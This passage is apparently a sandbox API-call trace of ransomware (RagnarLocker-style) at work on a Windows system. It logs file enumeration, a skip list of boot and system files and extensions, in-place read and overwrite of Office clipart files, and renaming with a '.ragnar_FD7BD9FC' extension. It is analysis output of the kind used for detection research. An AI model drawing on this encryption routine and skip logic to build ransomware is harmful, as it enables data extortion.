lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.535] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.535] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.535] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.535] GetProcessHeap () returned 0x580000 [0089.535] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.535] CloseHandle (hObject=0xf4) returned 1 [0089.535] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" [0089.535] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF.ragnar_FD7BD9FC" [0089.535] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.536] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x883d6b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x883d6b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x6028, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00668_.WMF", cAlternateFileName="")) returned 1 [0089.536] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.536] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00668_.WMF" | out: lpString1="PE00668_.WMF") returned="PE00668_.WMF" [0089.536] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF") returned=".WMF" [0089.536] lstrcmpiW (lpString1="PE00668_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.537] lstrcmpiW (lpString1="PE00668_.WMF", lpString2="autorun.inf") returned 1 [0089.537] lstrcmpiW (lpString1="PE00668_.WMF", lpString2="boot.ini") returned 1 [0089.537] lstrcmpiW (lpString1="PE00668_.WMF", lpString2="bootfont.bin") returned 1 [0089.537] lstrcmpiW (lpString1="PE00668_.WMF", lpString2="bootsect.bak") returned 1 [0089.537] lstrcmpiW (lpString1="PE00668_.WMF", lpString2="bootmgr") returned 1 [0089.537] lstrcmpiW (lpString1="PE00668_.WMF", lpString2="bootmgr.efi") returned 1 [0089.537] lstrcmpiW (lpString1="PE00668_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.537] lstrcmpiW (lpString1="PE00668_.WMF", lpString2="desktop.ini") returned 1 [0089.537] lstrcmpiW (lpString1="PE00668_.WMF", lpString2="iconcache.db") returned 1 [0089.537] lstrcmpiW (lpString1="PE00668_.WMF", lpString2="ntldr") returned 1 [0089.537] lstrcmpiW (lpString1="PE00668_.WMF", lpString2="ntuser.dat") returned 1 [0089.537] lstrcmpiW (lpString1="PE00668_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.537] lstrcmpiW (lpString1="PE00668_.WMF", lpString2="ntuser.ini") returned 1 [0089.537] lstrcmpiW (lpString1="PE00668_.WMF", lpString2="thumbs.db") returned -1 [0089.537] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.537] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.537] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.537] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.537] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.537] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.537] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf")) returned 0x20 [0089.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.538] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=24616) returned 1 [0089.538] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x601f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.538] GetProcessHeap () returned 0x580000 [0089.538] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.538] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.539] VirtualAlloc (lpAddress=0x0, dwSize=0x6028, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.539] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.539] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.540] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6028, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6028, lpOverlapped=0x0) returned 1 [0089.541] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.541] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6028, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.541] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6028, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6028, lpOverlapped=0x0) returned 1 [0089.541] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6028, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.541] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.542] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6028, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.542] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.542] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.542] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.542] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.542] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.542] GetProcessHeap () returned 0x580000 [0089.542] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.542] CloseHandle (hObject=0xf4) returned 1 [0089.542] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" [0089.542] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF.ragnar_FD7BD9FC" [0089.542] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.543] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9c1f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3a9c1f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x108a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00685_.WMF", cAlternateFileName="")) returned 1 [0089.543] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.543] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00685_.WMF" | out: lpString1="PE00685_.WMF") returned="PE00685_.WMF" [0089.543] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF") returned=".WMF" [0089.543] lstrcmpiW (lpString1="PE00685_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.543] lstrcmpiW (lpString1="PE00685_.WMF", lpString2="autorun.inf") returned 1 [0089.543] lstrcmpiW (lpString1="PE00685_.WMF", lpString2="boot.ini") returned 1 [0089.543] lstrcmpiW (lpString1="PE00685_.WMF", lpString2="bootfont.bin") returned 1 [0089.543] lstrcmpiW (lpString1="PE00685_.WMF", lpString2="bootsect.bak") returned 1 [0089.543] lstrcmpiW (lpString1="PE00685_.WMF", lpString2="bootmgr") returned 1 [0089.543] lstrcmpiW (lpString1="PE00685_.WMF", lpString2="bootmgr.efi") returned 1 [0089.543] lstrcmpiW (lpString1="PE00685_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.543] lstrcmpiW (lpString1="PE00685_.WMF", lpString2="desktop.ini") returned 1 [0089.543] lstrcmpiW (lpString1="PE00685_.WMF", lpString2="iconcache.db") returned 1 [0089.543] lstrcmpiW (lpString1="PE00685_.WMF", lpString2="ntldr") returned 1 [0089.543] lstrcmpiW (lpString1="PE00685_.WMF", lpString2="ntuser.dat") returned 1 [0089.543] lstrcmpiW (lpString1="PE00685_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.543] lstrcmpiW (lpString1="PE00685_.WMF", lpString2="ntuser.ini") returned 1 [0089.543] lstrcmpiW (lpString1="PE00685_.WMF", lpString2="thumbs.db") returned -1 [0089.543] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.543] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.544] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.544] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.544] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.544] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.544] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf")) returned 0x20 [0089.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.544] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4234) returned 1 [0089.544] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1081, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.544] GetProcessHeap () returned 0x580000 [0089.544] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.544] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.546] VirtualAlloc (lpAddress=0x0, dwSize=0x108a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.546] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.546] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.546] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x108a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x108a, lpOverlapped=0x0) returned 1 [0089.547] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.547] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x108a, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.547] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x108a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x108a, lpOverlapped=0x0) returned 1 [0089.547] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x108a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.547] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.547] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x108a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.547] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.547] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.547] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.548] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.548] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.548] GetProcessHeap () returned 0x580000 [0089.548] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.548] CloseHandle (hObject=0xf4) returned 1 [0089.548] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" [0089.548] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF.ragnar_FD7BD9FC" [0089.548] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.549] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78490a00, ftCreationTime.dwHighDateTime=0x1bf0b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78490a00, ftLastWriteTime.dwHighDateTime=0x1bf0b13, nFileSizeHigh=0x0, nFileSizeLow=0x112e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00686_.WMF", cAlternateFileName="")) returned 1 [0089.549] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.549] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00686_.WMF" | out: lpString1="PE00686_.WMF") returned="PE00686_.WMF" [0089.549] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF") returned=".WMF" [0089.549] lstrcmpiW (lpString1="PE00686_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.549] lstrcmpiW (lpString1="PE00686_.WMF", lpString2="autorun.inf") returned 1 [0089.549] lstrcmpiW (lpString1="PE00686_.WMF", lpString2="boot.ini") returned 1 [0089.549] lstrcmpiW (lpString1="PE00686_.WMF", lpString2="bootfont.bin") returned 1 [0089.549] lstrcmpiW (lpString1="PE00686_.WMF", lpString2="bootsect.bak") returned 1 [0089.549] lstrcmpiW (lpString1="PE00686_.WMF", lpString2="bootmgr") returned 1 [0089.549] lstrcmpiW (lpString1="PE00686_.WMF", lpString2="bootmgr.efi") returned 1 [0089.549] lstrcmpiW (lpString1="PE00686_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.549] lstrcmpiW (lpString1="PE00686_.WMF", lpString2="desktop.ini") returned 1 [0089.549] lstrcmpiW (lpString1="PE00686_.WMF", lpString2="iconcache.db") returned 1 [0089.549] lstrcmpiW (lpString1="PE00686_.WMF", lpString2="ntldr") returned 1 [0089.549] lstrcmpiW (lpString1="PE00686_.WMF", lpString2="ntuser.dat") returned 1 [0089.549] lstrcmpiW (lpString1="PE00686_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.549] lstrcmpiW (lpString1="PE00686_.WMF", lpString2="ntuser.ini") returned 1 [0089.549] lstrcmpiW (lpString1="PE00686_.WMF", lpString2="thumbs.db") returned -1 [0089.549] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.549] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.549] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.549] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.549] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.549] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.549] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf")) returned 0x20 [0089.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.550] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4398) returned 1 [0089.550] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1125, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.550] GetProcessHeap () returned 0x580000 [0089.550] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.550] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.551] VirtualAlloc (lpAddress=0x0, dwSize=0x112e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.552] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.552] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.552] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x112e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x112e, lpOverlapped=0x0) returned 1 [0089.553] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.553] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x112e, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.553] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x112e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x112e, lpOverlapped=0x0) returned 1 [0089.553] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x112e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.553] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.553] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x112e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.553] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.553] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.553] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.553] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.553] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.554] 